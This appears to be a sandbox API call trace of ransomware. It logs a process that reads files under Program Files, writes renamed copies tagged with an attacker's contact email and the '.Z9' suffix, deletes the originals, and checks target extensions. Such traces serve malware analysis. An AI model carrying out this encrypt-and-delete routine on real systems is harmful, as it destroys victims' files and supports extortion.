	[0090.391] ReadFile (in: hFile=0x300, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.391] WriteFile (in: hFile=0x370, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0090.392] SetEndOfFile (hFile=0x370) returned 1
	[0090.392] CloseHandle (hObject=0x370) returned 1
	[0090.392] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.392] SetEndOfFile (hFile=0x300) returned 1
	[0090.395] CloseHandle (hObject=0x300) returned 1
	[0090.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0090.396] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1
	[0090.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.397] lstrlenW (lpString=".doc") returned 4
	[0090.397] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0090.397] lstrlenW (lpString=".docx") returned 5
	[0090.397] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1
	[0090.397] lstrlenW (lpString=".pdf") returned 4
	[0090.397] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0090.397] lstrlenW (lpString=".xls") returned 4
	[0090.397] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0090.397] lstrlenW (lpString=".xlsx") returned 5
	[0090.397] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1
	[0090.397] lstrlenW (lpString=".ppt") returned 4
	[0090.397] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0090.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.718] lstrlenW (lpString=".zip") returned 4
	[0090.718] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0090.718] lstrlenW (lpString=".rar") returned 4
	[0090.718] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0090.718] lstrlenW (lpString=".bz2") returned 4
	[0090.718] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0090.718] lstrlenW (lpString=".7z") returned 3
	[0090.718] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0090.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.718] lstrlenW (lpString=".dbf") returned 4
	[0090.718] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0090.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.718] lstrlenW (lpString=".1cd") returned 4
	[0090.718] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0090.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.718] lstrlenW (lpString=".jpg") returned 4
	[0090.718] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0090.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.718] lstrlenW (lpString=".doc") returned 4
	[0090.718] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0090.718] lstrlenW (lpString=".docx") returned 5
	[0090.718] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1
	[0090.719] lstrlenW (lpString=".pdf") returned 4
	[0090.719] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0090.719] lstrlenW (lpString=".xls") returned 4
	[0090.719] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0090.719] lstrlenW (lpString=".xlsx") returned 5
	[0090.719] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1
	[0090.719] lstrlenW (lpString=".ppt") returned 4
	[0090.719] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0090.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.719] lstrlenW (lpString=".zip") returned 4
	[0090.719] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0090.719] lstrlenW (lpString=".rar") returned 4
	[0090.719] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0090.719] lstrlenW (lpString=".bz2") returned 4
	[0090.719] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0090.719] lstrlenW (lpString=".7z") returned 3
	[0090.719] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0090.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.719] lstrlenW (lpString=".dbf") returned 4
	[0090.719] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0090.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.719] lstrlenW (lpString=".1cd") returned 4
	[0090.719] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0090.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0090.719] lstrlenW (lpString=".jpg") returned 4
	[0090.719] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0090.719] lstrcmpiW (lpString1=".EXE", lpString2=".Z9") returned -1
	[0090.719] lstrlenW (lpString="OSE.EXE") returned 7
	[0090.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.720] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=244296) returned 1
	[0090.720] CloseHandle (hObject=0x368) returned 1
	[0090.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20
	[0090.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.721] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.721] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0090.721] GetLastError () returned 0x0
	[0090.721] ReadFile (in: hFile=0x368, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x3ba48, lpOverlapped=0x0) returned 1
	[0090.728] WriteFile (in: hFile=0x374, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x3ba50, lpOverlapped=0x0) returned 1
	[0090.732] ReadFile (in: hFile=0x368, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.732] WriteFile (in: hFile=0x374, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0090.732] SetEndOfFile (hFile=0x374) returned 1
	[0090.732] CloseHandle (hObject=0x374) returned 1
	[0090.732] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.732] SetEndOfFile (hFile=0x368) returned 1
	[0090.734] CloseHandle (hObject=0x368) returned 1
	[0090.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0090.735] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1
	[0090.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.735] lstrlenW (lpString=".doc") returned 4
	[0090.735] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0090.735] lstrlenW (lpString=".docx") returned 5
	[0090.735] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1
	[0090.735] lstrlenW (lpString=".pdf") returned 4
	[0090.735] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0090.735] lstrlenW (lpString=".xls") returned 4
	[0090.735] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0090.735] lstrlenW (lpString=".xlsx") returned 5
	[0090.735] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1
	[0090.735] lstrlenW (lpString=".ppt") returned 4
	[0090.735] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0090.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.735] lstrlenW (lpString=".zip") returned 4
	[0090.735] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0090.735] lstrlenW (lpString=".rar") returned 4
	[0090.735] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0090.736] lstrlenW (lpString=".bz2") returned 4
	[0090.736] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0090.736] lstrlenW (lpString=".7z") returned 3
	[0090.736] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0090.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.736] lstrlenW (lpString=".dbf") returned 4
	[0090.736] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0090.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.736] lstrlenW (lpString=".1cd") returned 4
	[0090.736] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0090.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.736] lstrlenW (lpString=".jpg") returned 4
	[0090.736] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0090.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.736] lstrlenW (lpString=".doc") returned 4
	[0090.736] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0090.736] lstrlenW (lpString=".docx") returned 5
	[0090.736] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1
	[0090.736] lstrlenW (lpString=".pdf") returned 4
	[0090.736] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0090.736] lstrlenW (lpString=".xls") returned 4
	[0090.736] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0090.736] lstrlenW (lpString=".xlsx") returned 5
	[0090.736] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1
	[0090.736] lstrlenW (lpString=".ppt") returned 4
	[0090.736] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0090.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.736] lstrlenW (lpString=".zip") returned 4
	[0090.736] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0090.736] lstrlenW (lpString=".rar") returned 4
	[0090.736] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0090.736] lstrlenW (lpString=".bz2") returned 4
	[0090.736] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0090.736] lstrlenW (lpString=".7z") returned 3
	[0090.736] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0090.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.737] lstrlenW (lpString=".dbf") returned 4
	[0090.737] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0090.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.737] lstrlenW (lpString=".1cd") returned 4
	[0090.737] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0090.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0090.737] lstrlenW (lpString=".jpg") returned 4
	[0090.737] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0090.737] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0090.737] lstrlenW (lpString="msdia100.dll") returned 12
	[0090.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.738] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=990032) returned 1
	[0090.738] CloseHandle (hObject=0x368) returned 1
	[0090.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20
	[0090.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.738] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.738] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0090.738] GetLastError () returned 0x0
	[0090.739] ReadFile (in: hFile=0x368, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xf1b50, lpOverlapped=0x0) returned 1
	[0090.953] WriteFile (in: hFile=0x374, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf1b60, lpOverlapped=0x0) returned 1
	[0091.001] ReadFile (in: hFile=0x368, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.001] WriteFile (in: hFile=0x374, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.001] SetEndOfFile (hFile=0x374) returned 1
	[0091.001] CloseHandle (hObject=0x374) returned 1
	[0091.002] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.002] SetEndOfFile (hFile=0x368) returned 1
	[0091.010] CloseHandle (hObject=0x368) returned 1
	[0091.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.010] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1
	[0091.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.010] lstrlenW (lpString=".doc") returned 4
	[0091.010] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.011] lstrlenW (lpString=".docx") returned 5
	[0091.011] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0091.011] lstrlenW (lpString=".pdf") returned 4
	[0091.011] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.011] lstrlenW (lpString=".xls") returned 4
	[0091.011] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.011] lstrlenW (lpString=".xlsx") returned 5
	[0091.011] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0091.011] lstrlenW (lpString=".ppt") returned 4
	[0091.011] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.011] lstrlenW (lpString=".zip") returned 4
	[0091.011] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.011] lstrlenW (lpString=".rar") returned 4
	[0091.011] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.011] lstrlenW (lpString=".bz2") returned 4
	[0091.011] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.011] lstrlenW (lpString=".7z") returned 3
	[0091.011] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.011] lstrlenW (lpString=".dbf") returned 4
	[0091.011] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.011] lstrlenW (lpString=".1cd") returned 4
	[0091.011] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.011] lstrlenW (lpString=".jpg") returned 4
	[0091.011] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.011] lstrlenW (lpString=".doc") returned 4
	[0091.011] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.011] lstrlenW (lpString=".docx") returned 5
	[0091.011] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0091.011] lstrlenW (lpString=".pdf") returned 4
	[0091.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.012] lstrlenW (lpString=".xls") returned 4
	[0091.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.012] lstrlenW (lpString=".xlsx") returned 5
	[0091.012] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0091.012] lstrlenW (lpString=".ppt") returned 4
	[0091.012] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.012] lstrlenW (lpString=".zip") returned 4
	[0091.012] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.012] lstrlenW (lpString=".rar") returned 4
	[0091.012] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.012] lstrlenW (lpString=".bz2") returned 4
	[0091.012] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.012] lstrlenW (lpString=".7z") returned 3
	[0091.012] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.012] lstrlenW (lpString=".dbf") returned 4
	[0091.012] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.012] lstrlenW (lpString=".1cd") returned 4
	[0091.012] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0091.012] lstrlenW (lpString=".jpg") returned 4
	[0091.012] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.012] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0091.012] lstrlenW (lpString="VGX.dll") returned 7
	[0091.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0091.028] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=987136) returned 1
	[0091.028] CloseHandle (hObject=0x368) returned 1
	[0091.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20
	[0091.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.028] lstrlenW (lpString=".doc") returned 4
	[0091.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.028] lstrlenW (lpString=".docx") returned 5
	[0091.028] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0091.028] lstrlenW (lpString=".pdf") returned 4
	[0091.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.028] lstrlenW (lpString=".xls") returned 4
	[0091.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.028] lstrlenW (lpString=".xlsx") returned 5
	[0091.028] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0091.028] lstrlenW (lpString=".ppt") returned 4
	[0091.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.028] lstrlenW (lpString=".zip") returned 4
	[0091.028] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.028] lstrlenW (lpString=".rar") returned 4
	[0091.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.029] lstrlenW (lpString=".bz2") returned 4
	[0091.029] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.029] lstrlenW (lpString=".7z") returned 3
	[0091.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.029] lstrlenW (lpString=".dbf") returned 4
	[0091.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.029] lstrlenW (lpString=".1cd") returned 4
	[0091.029] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.029] lstrlenW (lpString=".jpg") returned 4
	[0091.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0091.029] lstrlenW (lpString=".doc") returned 4
	[0091.029] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
